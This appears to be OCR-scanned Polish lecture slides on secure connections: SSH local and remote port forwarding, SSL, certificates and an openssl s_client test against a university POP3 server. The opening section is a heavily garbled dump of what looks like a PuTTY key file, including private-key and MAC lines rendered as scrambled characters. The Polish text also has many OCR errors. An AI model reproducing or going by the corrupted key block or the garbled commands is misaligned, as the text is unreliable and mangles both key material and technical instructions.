HNBSdiCZ + 110M2F ORAAAGDI ZhZHEE 0QKUNS K1 2GA LeT96DDE629Cnd652900 Comment 1 "dsa-key-20061115"
4VBXmm4 TsX700gqwONVwrMgDBqZMsUsggk yPWRvhGqUQIfWST+XpPYXZ0 vgzZH P . AAACAESVT " .
hIrAHLUGCY0OMg/292WhOBA3CGUUB I IQ0GELL /2VeziF1bI1yk8t 1BD1YOFps6r AAAABSNZACIKCSMAAACALSVTxvADCHHHNUIKIYIPLIFTyohdoKefbpOawipiuNGy
N . H9WjPrORZbsMmJIFGPIpGxeFV: Ng6W2r1FtUko+dsCk3nag50cPaTAQGgRHN
Private-Lines: 1 74yF/Z5GNTGos CK5vLYwVpiak0q8c6n0/ gTwdweKPBlUyez£Kz / 9pmi Y ANrw2kA
AAAAFC+dHrYLWIMIot £MvCCAwHJEAMTL AAAVANRC2B7xns1+8 7PKAMUPcv2GrUF LAAAAGFATXC40vGKUS/ 74al 2AsbSRuWXd

Private-MAC: 47487f13d7225918a86cd30416e3| mowWdggnfPdypOS53SHOmaMP8YcaQeLdTTAANrv6PilI3Wl5YGUENT800eSENATE ]
BJB862zM76A+B/E3FNaGRpJufk SHONAOEU1q9Gt yMx9EDJ2RDh14LgepGUZ 9M/ HDg

XN85dWez+110M2F 0AAARGDI zhZWr t oQKUW3KmX12GAf Le796DD862qGNd65290£T
4VBXmmA4TsX700qwONVwrMgDBqZMsUsgakyPwRVhGGUQI EWST+XpPYXZ06GSvaZHO
hIrAHLUGCYoOMg/ 29 2WhOBA3CGuU8JT00GE Lt /ZVeziF1bI1yk 8t 1BD1YOFpS6E3

—--— END SSH2 PUBLIC KEY —----
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e bezpieczne logowanie mimo "braku mozliwosci"

tunelowanie potaczen:

| port zdaln
1. local forwarding
ssh -L 1234:localhost:110 host

(host) .

All traffi& coming to port 1234 on the client will be forwarded to port 110 on the server

’ port lokalny (powyzej 1024) ‘

2. remote forwarding
ssh -R 1234:localhost:110 host

All traffic which comes to port 1234 on the server (host) will be forwarded to port 110
on the client (localhost).

3. http://www.ssh.com/support/documentation/online/ssh/adminguide/32/Port_Forwarding.html

Internet
TCP traffic
Encrypted ssh2 tunnel ():
Terminal
ession
Client Sshdserver
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e inne zagadnienia (wykraczajg one poza zakres "krotki przerywnik")

1. Protokdéir SSL, OpenSSL, HTTPS

Protokdél SSL jest praktycznym wykorzystaniem algorytmédw opisanych dotychczas dla potrzeb
bezpiecznej komunikacji w sieci Internet. W swej podstawowej wersji zabezpiecza on
protokétr HTTP, jednak z uzyciem dodatkowych narzedzi mozna z jego pomoca obudowaé¢ réwniez

ustugi FTP, news 1 poczty elektronicznej.

SSL jest protokolem typu klient-serwer pozwalajacym na nawiazanie bezpiecznego polaczenia

z uzyciem certyfikatdéw. Jest on zorientowany gidéwnie na autentyfikacje serwera

2. Certyfikaty
Certyfikat jest to zbidér danych jednoznacznie identyfikujacych pewna jednostke

przyktad osobe, lub komputer) oraz pozwalajacy stwierdzié¢, czy osoba, ktéra sie nim
legitymuje jest rzeczywiscie tym, za kogo sie podaje. Jest on potwierdzony przez zaufana
organizacje, zwana w protokole SSL certificate authority (CA).

(na

3. Ochrona plikdéw, klucze PGP, GnuPG

// testowanie potaczenia SSL

jarek@mykonos:~$ openssl s_client -quiet —-connect hook.uz.zgora.pl:995

depth=0 /C=PL/ST=Lubuskie/L=Zielona Gora/O=Uniwersytet Zielonogorski/OU=Centrum
Komputerowe/CN=* .uz.zgora.pl/emailAddress=CAQuz.zgora.pl

verify error:num=20:unable to get local issuer certificate

verify return:1

depth=0 /C=PL/ST=Lubuskie/L=Zielona Gora/O=Uniwersytet Zielonogorski/OU=Centrum
Komputerowe/CN=* .uz.zgora.pl/emailAddress=CAQuz.zgora.pl

verify error:num=27:certificate not trusted

verify return:1

depth=0 /C=PL/ST=Lubuskie/L=Zielona Gora/O=Uniwersytet Zielonogorski/OU=Centrum
Komputerowe/CN=* .uz.zgora.pl/emailAddress=CAQuz.zgora.pl

verify error:num=21:unable to verify the first certificate

verify return:1

+OK POP3 hook.uz.zgora.pl 2004.89 server ready
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